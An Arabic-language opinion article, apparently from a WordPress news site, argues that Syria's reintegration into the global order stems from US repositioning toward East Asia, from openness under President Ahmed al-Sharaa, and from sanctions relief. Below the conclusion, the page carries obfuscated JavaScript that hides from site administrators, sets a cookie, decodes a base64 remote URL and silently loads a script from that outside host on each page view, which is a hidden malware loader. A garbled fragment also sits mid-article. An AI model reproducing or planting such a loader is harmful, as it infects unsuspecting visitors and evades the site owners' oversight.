الأبعاد غير المعلنة وراء إعادة دمج سوريا في النظام العالمي بشكل غير مسبوق

0

مقدمة: سوريا.. ملتقى القارات ومختبر السيطرة العالمية

من الصعب الحديث عن المشهد الجيوسياسي في الشرق الأوسط دون التوقف عند سوريا، هذا البلد الذي شكّل عبر التاريخ نقطة التقاء ثلاث قارات: أوروبا، آسيا، وأفريقيا. ليس موقعاً جغرافياً فحسب، بل عقدة طرق دولية تتقاطع فيها خطوط الطاقة والممرات التجارية ومحاور النفوذ. فمن شمالها تُفتح بوابات الأناضول والقوقاز والبحر الأسود؛ ومن جنوبها يمتد الطريق نحو الجزيرة العربية وشرق أفريقيا؛ ومن غربها يطل ساحلها الطويل على المتوسط بما يحمله من أهميّة لوجستية واقتصادية وعسكرية. هذا الموقع، الذي تحاول القوى الكبرى منذ قرن إعادة تشكيل خرائطه، عاد اليوم ليصبح محوراً في حسابات نظام عالمي يتغيّر.

المحور الأول: الولايات المتحدة وتوسيع دائرة التحالفات في مواجهة استحقاقات شرق آسيا

منذ نحو عقد، والولايات المتحدة تعيد تموضعها الاستراتيجي باتجاه شرق آسيا، حيث يتنامى نفوذ الصين ويتعاظم وزن كوريا الشمالية ويتبلور محور اقتصادي–عسكري غير مسبوق. هذا التحوّل يفرض على واشنطن إعادة ضبط انتشارها السياسي والعسكري في مناطق أخرى، وفي مقدمتها الشرق الأوسط. لكن الخروج الأميركي من المنطقة لم يعد خياراً واقعياً. فالفراغ يعني تمدد الصين وروسيا وإيران، وهو ما يهدد المصالح الأميركية التقليدية. ومع صعود ملفات شرق آسيا إلى رأس أولويات الأمن القومي الأميركي، أصبحت واشنطن بحاجة إلى تقليص ساحات الاشتباك في الشرق الأوسط، ما يجعل إعادة دمج سوريا خطوة ضرورية.

المحور الثاني: سوريا كشريك مُحتمل للولايات المتحدة والغرب

يفتح وصول الرئيس أحمد الشرع إلى السلطة صفحة سياسية مختلفة. فالخطاب السياسي الذي يعتمده يشير إلى استعداد واضح للانفتاح على الغرب. هذا الموقف لا يعني انقطاع سوريا عن شركائها التقليديين، لكنه يرسل إشارات مباشرة إلى واشنطن والعواصم الأوروبية بأن دمشق مستعدة لإعادة تعريف موقعها الإقليمي. سوريا قادرة على لعب دور استراتيجي في ملفات عديدة: ضبط الحدود، مشاريع الطاقة، الحد من النفوذ الإيراني في الجنوب، والمساهمة في توازنات شرق المتوسط. gif baggyaltiff

المحور الثالث: دور سوريا المستقبلي مرهون بإلغاء العقوبات والدمج الاقتصادي

لا يمكن لسوريا أن تلعب أي دور وهي غارقة في أزمات اقتصادية وبنية منهارة وعقوبات خانقة. الاندماج في النظام العالمي يتطلب رفع العقوبات أو تخفيفها، وإعادة الإعمار، وإعادة بناء المؤسسات، واستعادة الشرعية الاقتصادية الدولية. هذه الخطوات ليست فقط مطلباً سورياً، بل جزءاً من حسابات القوى الكبرى التي تدرك أن استمرار الانهيار السوري يمنع الاستقرار ويعزز نفوذ خصوم الغرب.

الخاتمة

إن إعادة دمج سوريا في النظام العالمي ليست إجراءً دبلوماسياً عابراً، بل نتيجة لتحولات جيوسياسية عميقة. فالولايات المتحدة تحتاج إلى تبريد جبهات الشرق الأوسط، والغرب يرى في القيادة السورية الجديدة فرصة لإعادة صياغة علاقة واقعية، وسوريا تدرك أن مستقبلها مرهون بإنهاء العزلة والانفتاح على العالم. وإذا ما أحسنت دمشق إدارة المرحلة، فقد تستعيد دورها الطبيعي كجسر بين القارات الثلاث.

(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

لن يتم نشر عنوان بريدك الالكتروني